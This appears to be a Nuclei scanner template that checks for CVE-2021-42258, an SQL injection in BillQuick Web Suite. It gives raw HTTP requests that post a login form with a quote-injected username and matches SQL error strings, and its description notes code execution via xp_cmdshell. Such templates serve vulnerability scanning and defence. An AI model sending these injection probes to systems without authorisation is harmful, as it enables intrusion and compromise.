70 lines
2.1 KiB
YAML
70 lines
2.1 KiB
YAML
id: CVE-2021-42258
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info:
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name: BillQuick Web Suite SQLi
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author: dwisiswant0
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severity: critical
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tags: cve,cve2021,sqli,billquick
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description: |
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BQE BillQuick Web Suite 2018 through 2021 before 22.0.9.1
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allows SQL injection for unauthenticated remote code execution,
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as exploited in the wild in October 2021 for ransomware installation.
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SQL injection can, for example, use the txtID (aka username) parameter.
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Successful exploitation can include the ability to execute
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arbitrary code as MSSQLSERVER$ via xp_cmdshell.
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reference:
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- https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42258
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-42258
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cwe-id: CWE-89
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requests:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}
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Origin: {{RootURL}}
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Content-Type: application/x-www-form-urlencoded
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__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode("§VS§")}}&__VIEWSTATEGENERATOR={{url_encode("§VSG§")}}&__EVENTVALIDATION={{url_encode("§EV§")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96
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cookie-reuse: true
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extractors:
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- type: xpath
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name: VS
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__VIEWSTATE']"
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- type: xpath
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name: VSG
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"
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- type: xpath
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name: EV
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internal: true
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attribute: value
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xpath:
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- "/html/body/form/div/input[@id='__EVENTVALIDATION']"
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matchers:
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- type: word
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part: body
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condition: and
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words:
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- "System.Data.SqlClient.SqlException"
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- "Incorrect syntax near"
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- "_ACCOUNTLOCKED"
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